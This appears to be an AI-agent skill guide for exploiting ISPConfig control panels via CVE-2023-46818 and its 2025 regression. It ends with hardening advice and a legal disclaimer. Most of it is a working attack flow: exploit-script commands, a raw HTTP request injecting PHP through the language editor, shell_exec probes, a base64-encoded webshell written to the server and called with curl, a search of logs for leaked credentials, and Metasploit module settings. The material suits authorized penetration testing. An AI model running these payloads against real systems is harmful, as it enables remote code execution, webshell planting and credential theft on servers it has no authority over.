ISPConfig Pentesting Skill

A skill for testing ISPConfig hosting control panels for CVE-2023-46818 (language editor PHP code injection) and related vulnerabilities.

When to Use This Skill

Use this skill when:

• You need to test an ISPConfig installation for known vulnerabilities
• You're assessing CVE-2023-46818 or the 2025 regression in 3.3.0/3.3.0p1
• You need to exploit the language editor PHP code injection vulnerability
• You want to check if

  admin_allow_langedit

  is enabled
• You need hardening recommendations for ISPConfig

Quick Start

Automated Exploitation

Use the bundled Python exploit script:

python3 scripts/ispconfig_exploit.py http://target:8080 admin <password>

This script:

• Extracts CSRF tokens automatically
• Tests for code execution
• Can deploy a webshell
• Supports both CVE-2023-46818 and the 2025 regression

Version Check

Before exploiting, verify the target version and conditions:

python3 scripts/check_ispconfig.py http://target:8080

Vulnerability Overview

CVE-2023-46818 (ISPConfig ≤ 3.2.11)

Affected Versions: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)

Preconditions:

• Login as the built-in superadmin account

  admin

• Language editor must be enabled:

  admin_allow_langedit=yes

  in

  /usr/local/ispconfig/security/security_settings.ini

Impact: Authenticated admin can inject arbitrary PHP into language files, achieving RCE in the web server context.

2025 Regression (ISPConfig 3.3.0 / 3.3.0p1)

The same vulnerability resurfaced in 3.3.0/3.3.0p1 and was fixed in 3.3.0p2.

Additional Information Leak: On 3.3.0/3.3.0p1, world-readable rotated logs may leak credentials:

find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head

Manual Exploitation Flow

Step 1: Access the Admin Panel

If the panel is bound to localhost only, use SSH port forwarding:

ssh -L 9001:127.0.0.1:8080 user@target
# Then browse http://127.0.0.1:9001

Step 2: Obtain CSRF Tokens

Send a POST to

/admin/language_edit.php

to initialize the form and extract

csrf_id

and

csrf_key

from the HTML response.

Step 3: Inject PHP Code

Submit a second POST with the CSRF fields and a malicious translation record:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=<session>

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Step 4: Test Code Execution

Command execution probe:

records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>

Step 5: Deploy Webshell

Write a webshell using base64 encoding to avoid POST body issues:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Access the webshell:

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Note: If PHP is executed as root (e.g., via

php -S 127.0.0.1:8080

started by root), this yields immediate root RCE.

Bundled Scripts

scripts/ispconfig_exploit.py

Full-featured exploit script with:

• Automatic CSRF token extraction
• Multiple payload options
• Webshell deployment
• Interactive command execution

Usage:

python3 scripts/ispconfig_exploit.py <url> <username> <password> [options]

Options:
  --cmd <command>     Execute a command
  --webshell          Deploy a webshell
  --check             Test for vulnerability without exploitation
  --verbose           Show detailed output

scripts/check_ispconfig.py

Version and condition checker:

• Detects ISPConfig version
• Checks if language editor is enabled
• Identifies affected versions

Usage:

python3 scripts/check_ispconfig.py <url>

Metasploit Module

Rapid7 released

exploit/linux/http/ispconfig_lang_edit_php_code_injection

(July 2025):

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

The module can auto-enable

admin_allow_langedit

if the admin account has system-config rights.

Hardening Recommendations

Immediate Actions

1. Upgrade ISPConfig:

   • For CVE-2023-46818: Upgrade to 3.2.11p1 or later
   • For 2025 regression: Upgrade to 3.3.0p2 or later

2. Disable Language Editor:

   # /usr/local/ispconfig/security/security_settings.ini
   admin_allow_langedit=no
   

3. Run as Non-Root:

   • Configure PHP-FPM or web server to drop privileges
   • Never run

     php -S

     as root

4. Strong Authentication:

   • Enforce strong password for the built-in

     admin

     account
   • Consider additional authentication mechanisms

Additional Hardening

• Remove or restrict access to rotated logs in

  /usr/local/ispconfig/interface/log/

• Implement network segmentation for the admin panel
• Enable audit logging for admin actions
• Regular security updates and patching

References

• CVE-2023-46818 – NVD
• ISPConfig 3.2.11p1 Released
• ISPConfig 3.3.0p2 Security Update
• bipbopbup/CVE-2023-46818-python-exploit
• Metasploit Module (CXSecurity)

Legal Disclaimer

This skill is for authorized security testing only. Ensure you have explicit permission before testing any system. Unauthorized access to computer systems is illegal.